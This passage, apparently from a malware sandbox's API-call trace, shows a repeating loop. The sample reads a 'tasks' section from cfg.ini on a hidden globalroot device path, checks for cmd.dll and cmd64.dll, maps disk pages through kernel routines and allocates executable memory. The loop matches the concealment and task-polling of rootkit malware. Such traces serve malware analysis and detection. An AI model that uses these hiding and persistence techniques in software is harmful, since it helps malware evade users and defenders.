_Dest="0d24eb7c\\cfg.ini") returned 16 [0125.151] KeEnterCriticalRegion () [0125.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.151] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.151] KeLeaveCriticalRegion () [0125.151] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.151] ReleaseMutex (hMutex=0xf0) returned 1 [0125.151] Sleep (dwMilliseconds=0x927c0) [0125.164] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.164] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.164] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.164] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.164] KeEnterCriticalRegion () [0125.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.165] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.165] IdePortDispatch () returned 0x103 [0125.165] KeWaitForMutexObject () returned 0x0 [0125.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.165] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.165] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.165] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.165] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.165] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5ca0 [0125.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.165] KeLeaveCriticalRegion () [0125.165] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.165] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.165] KeEnterCriticalRegion () [0125.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.165] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.165] KeLeaveCriticalRegion () [0125.165] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.165] KeEnterCriticalRegion () [0125.165] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.165] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.165] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.165] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.165] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.165] IdePortDispatch () returned 0x103 [0125.165] KeWaitForMutexObject () returned 0x0 [0125.165] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.166] KeLeaveCriticalRegion () [0125.166] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.166] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.166] KeEnterCriticalRegion () [0125.166] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb4000 [0125.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.166] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.166] IdePortDispatch () returned 0x103 [0125.166] KeWaitForMutexObject () returned 0x0 [0125.166] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.166] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.166] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.166] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.166] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.166] IdePortDispatch () returned 0x103 [0125.166] KeWaitForMutexObject () returned 0x0 [0125.166] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.166] KeLeaveCriticalRegion () [0125.166] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.167] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.167] KeEnterCriticalRegion () [0125.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.167] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.167] KeLeaveCriticalRegion () [0125.167] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.167] KeEnterCriticalRegion () [0125.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.167] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.167] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.167] KeLeaveCriticalRegion () [0125.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.167] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.167] KeEnterCriticalRegion () [0125.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.167] ExFreePoolWithTag (P=0xfffffa8003bf5ca0, Tag=0x0) [0125.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.167] KeLeaveCriticalRegion () [0125.167] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.167] ReleaseMutex (hMutex=0xf0) returned 1 [0125.167] Sleep (dwMilliseconds=0x927c0) [0125.181] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.181] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.181] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.181] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.181] KeEnterCriticalRegion () [0125.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.181] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.181] IdePortDispatch () returned 0x103 [0125.182] KeWaitForMutexObject () returned 0x0 [0125.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.182] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.182] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.182] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.182] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.182] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5560 [0125.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.182] KeLeaveCriticalRegion () [0125.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.182] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.182] KeEnterCriticalRegion () [0125.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.182] KeLeaveCriticalRegion () [0125.182] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.182] KeEnterCriticalRegion () [0125.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.182] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.182] IdePortDispatch () returned 0x103 [0125.183] KeWaitForMutexObject () returned 0x0 [0125.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.183] KeLeaveCriticalRegion () [0125.183] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.183] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.183] KeEnterCriticalRegion () [0125.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb9000 [0125.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.183] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.183] IdePortDispatch () returned 0x103 [0125.183] KeWaitForMutexObject () returned 0x0 [0125.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.183] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.183] IdePortDispatch () returned 0x103 [0125.183] KeWaitForMutexObject () returned 0x0 [0125.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.183] KeLeaveCriticalRegion () [0125.183] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.184] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.184] KeEnterCriticalRegion () [0125.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.184] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.184] KeLeaveCriticalRegion () [0125.184] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.184] KeEnterCriticalRegion () [0125.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.184] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.184] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.184] KeLeaveCriticalRegion () [0125.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.184] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.184] KeEnterCriticalRegion () [0125.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.184] ExFreePoolWithTag (P=0xfffffa8003bf5560, Tag=0x0) [0125.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.184] KeLeaveCriticalRegion () [0125.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.184] ReleaseMutex (hMutex=0xf0) returned 1 [0125.184] Sleep (dwMilliseconds=0x927c0) [0125.198] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.198] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.198] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.198] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.198] KeEnterCriticalRegion () [0125.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.198] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.198] IdePortDispatch () returned 0x103 [0125.198] KeWaitForMutexObject () returned 0x0 [0125.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.198] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.198] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.198] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.198] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.198] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6010 [0125.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.198] KeLeaveCriticalRegion () [0125.198] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.198] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.198] KeEnterCriticalRegion () [0125.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.198] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.199] KeLeaveCriticalRegion () [0125.199] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.199] KeEnterCriticalRegion () [0125.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.199] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.199] IdePortDispatch () returned 0x103 [0125.199] KeWaitForMutexObject () returned 0x0 [0125.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.199] KeLeaveCriticalRegion () [0125.199] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.199] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.199] KeEnterCriticalRegion () [0125.199] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.199] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbe000 [0125.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.199] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.199] IdePortDispatch () returned 0x103 [0125.199] KeWaitForMutexObject () returned 0x0 [0125.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.200] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.200] IdePortDispatch () returned 0x103 [0125.200] KeWaitForMutexObject () returned 0x0 [0125.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.200] KeLeaveCriticalRegion () [0125.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.200] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.200] KeEnterCriticalRegion () [0125.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.200] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.200] KeLeaveCriticalRegion () [0125.200] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.200] KeEnterCriticalRegion () [0125.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.200] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.200] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5ab0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.200] KeLeaveCriticalRegion () [0125.200] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.200] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.201] KeEnterCriticalRegion () [0125.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.201] ExFreePoolWithTag (P=0xfffffa8003bf6010, Tag=0x0) [0125.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.201] KeLeaveCriticalRegion () [0125.201] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.201] ReleaseMutex (hMutex=0xf0) returned 1 [0125.201] Sleep (dwMilliseconds=0x927c0) [0125.213] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.213] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.213] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.213] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.213] KeEnterCriticalRegion () [0125.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.216] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.216] IdePortDispatch () returned 0x103 [0125.216] KeWaitForMutexObject () returned 0x0 [0125.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.216] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.216] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.216] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.216] 